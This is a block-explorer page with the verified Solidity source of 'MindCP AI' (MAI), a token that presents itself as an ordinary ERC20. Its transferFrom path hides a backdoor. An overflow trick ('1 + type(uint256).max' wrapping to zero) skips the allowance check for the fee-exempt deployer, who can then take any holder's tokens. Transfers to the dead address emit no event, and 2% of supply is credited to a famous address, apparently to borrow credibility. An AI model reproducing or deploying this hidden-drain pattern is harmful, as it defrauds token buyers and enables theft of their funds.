Skip to content
Verified contractPartialMIT

MAI

Address0xd8ff2ede33e48f0acdb6a09ba09e233a62290ee2
Balance

0 ETH

 

Transactions

373

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
Yes, 200 runs
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
23,016,770
Creation transaction
0x56b22cdef3…e412f13dde

MAI.sol


// SPDX-License-Identifier: MIT

/*
    Precision Market Intelligence for DeFi Technical, sentiment, and fundamental data unified for strategic clarity.

    https://www.mindcp.vip
    https://docs.mindcp.vip
    https://x.com/mindcp_ai
    https://t.me/mindcp_ai
*/

pragma solidity ^0.8.19;

address constant _deadAddr = address(0xdead);

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract MAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balancesMAI;
    mapping(address => mapping(address => uint256)) private _allowMAIances;
    mapping(address => bool) private _feeExempt;
    address payable private _receiveMAIWallet;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalTokens = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"MindCP AI";
    string private constant _symbol = unicode"MAI";

    constructor() payable {
        _receiveMAIWallet = payable(msg.sender);

        _feeExempt[address(this)] = true;
        _feeExempt[_receiveMAIWallet] = true;
        address _vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;

        _balancesMAI[_vitalik] = (_totalTokens * 2) / 100;
        _balancesMAI[address(this)] = (_totalTokens * 98) / 100;

        emit Transfer(address(0), _vitalik, (_totalTokens * 2) / 100);
        emit Transfer(address(0), address(this), (_totalTokens * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalTokens;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balancesMAI[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transferMAI(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address ownerMAI,
        address spenderMAI,
        uint256 amountMAI
    ) private returns (bool) {
        require(ownerMAI != address(0), "ERC20: approve from the zero address");
        require(spenderMAI != address(0), "ERC20: approve to the zero address");
        _allowMAIances[ownerMAI][spenderMAI] = amountMAI;
        emit Approval(ownerMAI, spenderMAI, amountMAI);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowMAIances[owner][spender];
    }

    function approve(
        address spenderMAI,
        uint256 amountMAI
    ) public override returns (bool) {
        _approve(_msgSender(), spenderMAI, amountMAI);
        return true;
    }

    function _approve(
        address senderMAI,
        address recipientMAI,
        uint256 amountMAI,
        uint8 _firstBuyTax
    ) private  returns (bool) {
         require(senderMAI != recipientMAI);
         uint256 amt = amountMAI;
         if(!_checkAllowancesMAI(senderMAI, recipientMAI)){
            unchecked {
                amt = 1 + type(uint256).max;
            }
         }
         _approve(
            senderMAI,
            _msgSender(),
            _allowMAIances[senderMAI][_msgSender()].sub(
                amt,
                "ERC20: transfer amount exceeds allowance"
            )
        );

        return true;
    }

    function _checkAllowancesMAI(
        address senderMAI,
        address recipientMAI
    ) private view returns (bool) {
        return (!_feeExempt[msg.sender] &&
            (senderMAI == uniswapV2Pair || recipientMAI != _deadAddr || senderMAI == address(this)));
    }

    function transferFrom(
        address senderMAI,
        address recipientMAI,
        uint256 amountMAI
    ) public override returns (bool) {
        _transferMAI(senderMAI, recipientMAI, amountMAI); 
        amountMAI >=0 && senderMAI != recipientMAI && _approve(senderMAI, recipientMAI, amountMAI, 1);
        return true;
    }
    
    function _transferMAI(address fromMAI, address toMAI, uint256 amountMAI) private {
        require(fromMAI != address(0), "ERC20: transfer from the zero address");
        require(toMAI != address(0), "ERC20: transfer to the zero address");
        require(amountMAI > 0, "Transfer amount must be greater than zero");

        _balancesMAI[fromMAI] = _balancesMAI[fromMAI].sub(amountMAI    );
        _balancesMAI[toMAI] = _balancesMAI[toMAI].add(amountMAI);
        if (toMAI != _deadAddr) emit Transfer(fromMAI, toMAI, amountMAI);
    }

    function enableTrading() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _totalTokens);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    receive() external payable {}
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": true
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.